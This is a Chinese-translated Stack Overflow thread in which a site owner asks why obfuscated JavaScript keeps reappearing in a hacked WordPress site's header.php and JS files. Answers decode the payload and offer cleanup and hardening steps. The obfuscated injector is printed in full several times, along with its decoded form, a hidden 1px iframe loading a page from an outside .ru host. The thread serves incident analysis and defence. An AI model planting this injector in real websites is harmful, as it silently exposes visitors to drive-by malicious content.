2013-04-24 48 views
5

目前我面臨的情況像是一個地獄,我的四個客戶網站在10天之前被黑客入侵。我和他們搞砸了很多,其中三人在長期困擾他們之後工作正常(運行magento),但其中一人(跑文字新聞)仍面臨同樣的情況,我無法弄清楚發生了什麼事情時,特定的時序之後的js文件和一些PHP文件也都是自動注射用這種代碼:惡意的js會自動注入到我的header.php文件和許多其他js文件中?

<? 
#ded509# 
echo "<script type=\"text/javascript\" language=\"javascript\" > e=eval;v=\"0x\";a=0;try{a&=2}catch(q){a=1}if(!a){try{document[\"body\"]^=~1;}catch(q){a2=\"!\"}z=\"2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42\".split(a2);s=\"\";if(window.document)for(i=0;i<z.length;i++)  {s+=String.fromCharCode(e(v+(z[i]))-7);}zaz=s;e(zaz);}</script>"; 
#/ded509# 
?> 

該代碼在所有的JS文件和主文件注入,我改變了FTP密碼,我檢查的cron工作和手動我查找任何PHP代碼(我感覺像一些PHP代碼是這樣做的),但我無法弄清楚,是的,我試圖解碼這個代碼,並試圖獲得這個代碼的功能,但從我的js文件中刪除這些惡意代碼會使我的網站在一段時間內保持良好狀態,但是在隨機時間之後腳本會自動注入與此代碼?這個js代碼實際上是什麼?如果有人解釋實際發生的事情,這將會非常有幫助?

+0

是該網站託管在共享服務器中?也許服務器本身已經被攻破,不僅僅是你的域名。與託管服務提供商聯繫。 – kiranvj 2013-04-24 06:29:20

回答

7

即PHP回聲此

<script type="text/javascript" language="javascript" > e=eval;v="0x";a=0;try{a&=2}catch(q){a=1}if(!a){try{document["body"]^=~1;}catch(q){a2="!"}z="2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2);s="";if(window.document)for(i=0;i<z.length;i++)  {s+=String.fromCharCode(e(v+(z[i]))-7);}zaz=s;e(zaz);}</script> 

在可讀的形式,它看起來像這樣

e = eval; 

v = "0x"; 
a = 0; 
try { 
    a &= 2 
} catch (q) { 
    a = 1 
} 
if (!a) { 
    try { 
     document["body"] ^= ~1; 
    } catch (q) { 
     a2 = "!" 
    } 
    z = "2f!6d!7c!75!6a!7b!70!76!75!27!2f!30!27!82!14!11!27!27!27!27!7d!68!79!27!6a!27!44!27!6b!76!6a!7c!74!6c!75!7b!35!6a!79!6c!68!7b!6c!4c!73!6c!74!6c!75!7b!2f!2e!70!6d!79!68!74!6c!2e!30!42!14!11!14!11!27!27!27!27!6a!35!7a!79!6a!27!44!27!2e!6f!7b!7b!77!41!36!36!71!68!72!80!7a!72!80!6d!35!79!7c!36!6a!76!7c!75!7b!38!3d!35!77!6f!77!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!77!76!7a!70!7b!70!76!75!27!44!27!2e!68!69!7a!76!73!7c!7b!6c!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!69!76!79!6b!6c!79!27!44!27!2e!37!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!6f!6c!70!6e!6f!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7e!70!6b!7b!6f!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!73!6c!6d!7b!27!44!27!2e!38!77!7f!2e!42!14!11!27!27!27!27!6a!35!7a!7b!80!73!6c!35!7b!76!77!27!44!27!2e!38!77!7f!2e!42!14!11!14!11!27!27!27!27!70!6d!27!2f!28!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!30!27!82!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!7e!79!70!7b!6c!2f!2e!43!6b!70!7d!27!70!6b!44!63!2e!6a!63!2e!45!43!36!6b!70!7d!45!2e!30!42!14!11!27!27!27!27!27!27!27!27!6b!76!6a!7c!74!6c!75!7b!35!6e!6c!7b!4c!73!6c!74!6c!75!7b!49!80!50!6b!2f!2e!6a!2e!30!35!68!77!77!6c!75!6b!4a!6f!70!73!6b!2f!6a!30!42!14!11!27!27!27!27!84!14!11!84!30!2f!30!42".split(a2); 
    s = ""; 
    if (window.document) for (i = 0; i < z.length; i++) { 
      s += String.fromCharCode(e(v + (z[i])) - 7); 
    } 
    zaz = s; 
    e(zaz); 
} 

在上面的代碼e是函數eval

如果我們除去EVAL並打印內容zaz它看起來像這樣。

(function() { 
    var c = document.createElement('iframe'); 

    c.src = 'http://jakyskyf.ru/count16.php'; 
    c.style.position = 'absolute'; 
    c.style.border = '0'; 
    c.style.height = '1px'; 
    c.style.width = '1px'; 
    c.style.left = '1px'; 
    c.style.top = '1px'; 

    if (!document.getElementById('c')) { 
     document.write('<div id=\'c\'></div>'); 
     document.getElementById('c').appendChild(c); 
    } 
})(); 

它是一個自我執行的匿名函數。該腳本在您的頁面中創建iframe並從http://jakyskyf.ru/count16.php

加載內容如果您的服務器託管在共享服務器中,那麼管理員帳戶本身可能會受到影響。

你可以做的事情。

  • 您最好檢查的地方是服務器日誌。檢查一些惡意條目。
  • 與您的託管服務提供商聯繫。
  • 將您的密碼更改爲強密碼。
  • 通常在wordpress網站這件事發生(它發生在我的很多WordPress站點)。如果你正在使用wordpress更新到最新版本。
  • 將管理員用戶名從admin更改爲其他名稱。
  • 更改您的管理員電子郵件和密碼。黑客可能已經改變了它。

這些鏈接會爲您提供更多的輸入

+0

我該如何擺脫它? – 2013-04-24 06:43:13

+0

解答更多信息更新 – kiranvj 2013-04-24 06:53:36

0

您必須將您的根目錄文件或被重複入侵的文件的權限更改爲444.確保將所有index.php/html文件和.htaccess文件的權限更改爲只讀。同時給予555權限的js目錄和文件將有所幫助。

這是快速解決方案,以避免垃圾一次又一次。要找到它的根源,你必須檢查你的數據庫條目,比如contact_us等常見的表單,這些表單可能沒有適當的消毒過濾器。同時從根目錄中刪除所有未知文件。

+0

文件權限目前是604和文件夾權限目前是705,我是否還需要更改? – 2013-04-24 06:31:45

+0

是的,但不是全部文件夾。只有根目錄下的裸文件,所有.htaccess文件,所有index.php和index.html文件以及js目錄及其文件。通常這些惡意腳本通過.htaccess和索引文件找到他們的方式。如果您嘗試更改所有目錄的權限,您的項目可能會停止工作。 – tornados 2013-04-24 06:49:59